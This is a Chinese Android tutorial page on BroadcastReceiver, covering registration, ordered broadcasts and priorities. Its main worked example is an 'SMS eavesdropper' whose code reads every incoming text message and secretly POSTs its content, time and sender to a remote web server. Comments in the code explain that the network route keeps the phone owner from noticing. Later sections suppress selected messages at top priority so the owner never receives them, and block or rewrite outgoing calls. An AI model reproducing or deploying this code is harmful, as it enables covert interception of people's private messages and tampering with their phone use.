您的位置:首页 > 移动开发 > Android开发

android基础--广播接收者-BroadcastReceiver

2011-10-18 17:41 281 查看
广播接收者BroadcastReceiver用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast(),Context.sendOrderedBroadcast()来实现的。

一个广播可以被多个订阅了此广播的接收者接收。要实现一个广播接收者方法如下:

第一步:继承BroadcastReceiver,并重写onReceive()方法。

public class IncomingSMSReceiver extends BroadcastReceiver{

public void onReceive(Context context,Intent intent){}

}

第二布:订阅感兴趣的广播Intent,方法有二

1.使用代码进行订阅

IntentFilter filter = new IntentFilter(“android.provider.Telephony.SMS_RECEIVED”);

IncomingSMSReceiver receiver = new IncomingSMSReceiver();

registerReceiver(receiver,filter);

2.在Manifest.xml文件中的<application>节点里进行订阅

<receiver android:name=".IncomingSMSReceiver">

<intent-filter>

<action android:name="android.provider.Telephony.SMS_RECEIVED"/>

</intent-filter>

</receiver>

广播类型:

普通广播:异步,(逻辑上)同一时刻被所有接收者接收,相对传递效率高;

然而接收者不能将处理结果传递给下一个接收者,并且无法终止广播的传递

有序广播:按照接收者声明的优先级别依次接收。

优先级别取值范围-1000---1000,在<intent-filter>的android:priority属性中声明,也可以调用IntentFilter对象的setPriority()进行设置。数值大则级别高。例如 A取300 ,B取200,C取100,则优先级A>B>C,广播先传给A,再给B,再给C;

有序广播可以终止广播的传播,例如A接到后终止了广播,则B和C就无法收到广播;

有序广播的接收者可以将数据传递给下一个接收者,如:A得到广播后,可以往他的结果对象中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。

Context.sendBroadcast()发送普通广播

Context.sendOrderedBroadcast()发送有序广播

BroadcastReceiver.abortBroadcast()优先级高的终止广播,后面的接收者就再也无法获得广播

setResultExtras(Bundle)存放结果对象,然后传递给下一个接收者

下一个接收者通过:Bundle bundle = getResultExtras(true)可以获取上一个接收者存入在结果对象中的数据。

系统接收到短信,发出的广播属于有序广播,如果想阻止用户收到短信可以通过设置优先级,让自定义的接收者先获取到广播,然后终止广播,这样用户就接不到了。

发送有序广播

Intent broadcastIntent = new Intent(Intent.ACTION_NEW_OUTGOING_CALL);

broadcastIntent.putExtra(Intent.EXTRA_PHONE_NUMBER, “13671200900”);

第一个参数为广播对象

第二个参数为接收该广播的权限

第三个参数为必须接收该广播的接收者,如果该广播不是一定要被某个接收者接收,该参数可以设置为null

第四个参数为Hanndle,如果为null,接收者将在Context所在的主线程被调用

第五个参数为用于标识结果数据的结果码

第六个参数为结果数据

第七个参数为附加到广播的额外数据

sendOrderedBroadcast(broadcastIntent, "android.permission.PROCESS_OUTGOING_CALLS", new OutgoingCallReceiver(), null, Activity.RESULT_OK, number, null);

public class OutgoingCallReceiver extends BroadcastReceiver {

public void onReceive(Context context, Intent intent) {

String number = getResultData();//得到结果数据

}

}

下面用一个短信窃听器的例子来测试广播接收者

启动两个手机模拟器5554和5556,窃听器安装在5554上,5556向5554发送短信,5554接收到短信时会发出一个广播Intent,Intent的action名称为

android.provider.Telephony.SMS_RECEIVED,该Intent存放了系统接收到的短信内容,使用”pdus”即可从Intent中获取到短信内容。

把窃听到的短信发送给窃听者,有两种做法:1.通过发送短信发送给窃听者,2.通过WEB网络发送给窃听者。第一种转发短信的方式要走短信通道,要花费短信费,如果窃听到的短信过多,会产生大量费用被用户发现。第二种走的是互联网络通道,无法查询手机访问了哪些网站,而且输入量不大,产生的网络流量费用也不多,用户也无从查询,这种方法较好。这里用第二种,新建了一个web应用

ReceiveSMSServlet.java

public class ReceiveSMSServlet extends HttpServlet {

private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

//接收窃听器的传过来的三个参数

// String content = message.getMessageBody();//取得短信内容

// Date date = new Date(message.getTimestampMillis());//取得短信接收时间

// //2011-9-10 22:33:00格式化时间

// SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");

// String receivetime = format.format(date);

// String senderNumber = message.getOriginatingAddress();//取得发送者号码

String content = request.getParameter("content");

String receivetime = request.getParameter("receivetime");

String senderNumber = request.getParameter("senderNumber");

System.out.println("短信内容:"+content);

System.out.println("接收时间:"+receivetime);

System.out.println("发送者:"+senderNumber);

}

}

SMSBroadcastReceiver.java

/**

* 该类实现了两个功能, 一个是接收短信,一个是访问网络把短信参数发给WEB应用

* 所以要申请两个权限:接收短信权限,访问网络权限,要把这两个权限加入项目中

*/

public class SMSBroadcastReceiver extends BroadcastReceiver {

//通过onReceive方法得到广播意图

public void onReceive(Context context, Intent intent) {

Object [] pdus = (Object[]) intent.getExtras().get("pdus");

for(Object p:pdus){

byte [] pdu = (byte[])p;

//转换格式

SmsMessage message = SmsMessage.createFromPdu(pdu);//得到短信对象

String content = message.getMessageBody();//取得短信内容

Date date = new Date(message.getTimestampMillis());//取得短信接收时间

//2011-9-10 22:33:00格式化时间

SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");

String receivetime = format.format(date);

String senderNumber = message.getOriginatingAddress();//取得发送者号码

//把窃听到的短信发送给窃听者,有两种做法:1.通过发送短信发送给窃听者,2.通过WEB网络发送给窃听者

//第一种转发短信的方式要走短信通道,要花费短信费,如果窃听到的短信过多,会产生大量费用被用户发现

//第二种走的是互联网络通道,无法查询手机访问了哪些网站,而且输入量不大,产生的网络流量费用也不多,用户也无从查询,这种方法较好

//这里用第二种,新建了一个web应用

//发送短信到WEB应用

sendSMS(content,receivetime,senderNumber);

}

}

private boolean sendSMS(String content, String receivetime, String senderNumber) {

try{

String params = "content="+URLEncoder.encode(content, "UTF-8")+"&receivetime="+receivetime+"&senderNumber="+senderNumber;

byte [] entity =params.getBytes();

String path = "http://192.168.1.200:8080/videonews/ReceiveSMSServlet";

HttpURLConnection connection = (HttpURLConnection) new URL(path).openConnection();

connection.setConnectTimeout(5000);

connection.setRequestMethod("POST");

connection.setDoOutput(true);

connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

connection.setRequestProperty("Content-Length", String.valueOf(entity.length));

connection.getOutputStream().write(entity);

if(connection.getResponseCode()==200){

return true;

}

}catch (Exception e) {

e.printStackTrace();

}

return false;

}

}

Manifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.com.listener"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<!-- 配置广播接收者组件 -->
<receiver android:name=".SMSBroadcastReceiver">
<!-- 订阅短信到来的广播 -->
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
<!-- 配置接收短信权限 -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<!-- 配置网络访问权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
下面我们修改project,把project变成一个短信黑名单,功能是把5556发送给5554的短信屏蔽掉,让窃听器接收到,而5554收不到,原理是利用有序广播性质,修改窃听器的优先级别,使它接收短信的级别高于5554接收短信的级别,当先于5554窃听到短信之后,把广播终止掉,从而使5554接收不到。
1. Manifest.xml中为窃听器添加级别
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
2.在SMSBroadcastReceiver.java中判断
//判断是不是5556发送过来的短息,如果是则终止广播
if("15555215556".equals(senderNumber)){
abortBroadcast();
}
测试:5556向5554发送信息,信息的内容,时间,发送者显示与控制台,而5554接收不到。
下面来实现一个拦截外拨电话功能:
功能详细描述如下:5554要给5556打电话,拨打5556后自动挂断
原理:当5554拨5556按下拨打电话的按键后,触及了这样一项工作:发出了外拨电话的有序广播,拨号器中有一个广播接收者,会得到该广播,然后获取电话号码并拨打出去;针对此我们自己建一个广播接收者,优先得到广播获取电话号码,如果发现没有12593,就加上12593并向下传给优先级次之的接收者,如果发现是5556,就终止广播。
1.配置组件
<receiver android:name=".PhoneBroadcastReceiver">
<intent-filter android:priority="1000">
<!-- 外拨电话的动作名称 -->
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
</intent-filter>
</receiver>
2.配置权限
<!-- 配置外拨电话权限权限 -->
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
3. PhoneBroadcastReceiver.java
public class PhoneBroadcastReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String number = getResultData();//当5556按下拨打键后会发出广播,把号码传进接收者的结果对象里,调用此方法取得广播接收者的结果数据(这里即电话号码)
if("5556".equals(number)){
//在这里终止广播调用abortBroadcast()不行,因为点击拨号按钮后发送有序广播的代码是
//sendOrderedBroadcast(broadcastIntent, "android.permission.PROCESS_OUTGOING_CALLS", new OutgoingCallReceiver(), null, Activity.RESULT_OK, number, null);
//第三个参数new OutgoingCallReceiver()传入了一个接收者,不管终止与否都会传递给外拨电话的接收者。于是要把号码置为空
setResultData(null);
}else{
number = "12593"+number;
setResultData(number);//把新的号码设回到结果对象里,当广播最终传递给拨号器里面的接收者时,拨号器里的接收者得到的是加上了12593的电话号码
}
}
}
广播接收者的响应性
每次广播消息到来的时候都会创建BroadcastReceive实例并执行onReceive()方法,方法执行完后,实例被销毁。也就是说广播接收者实例在消息到来时被创建,在onReceive()方法执行完后被销毁。
onReceive()方法必须在10秒内执行完毕,否则会弹出ANR(Application No Response)错误对话框。如果要完成一项耗时的工作,应通过发送intent给Service来完成,而不能用子线程来完成,原因是:BroadcastReceive组件的生命周期很短,子线程可能还没结束,而BroadcastReceive就结束了,从而BroadcastReceive所在的进程成为了空进程(没有任何活动组件的进程),当系统需要内存时空进程优先被杀死,那么正在工作的子线程也被杀死,所以采用子线程解决是不可靠的。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: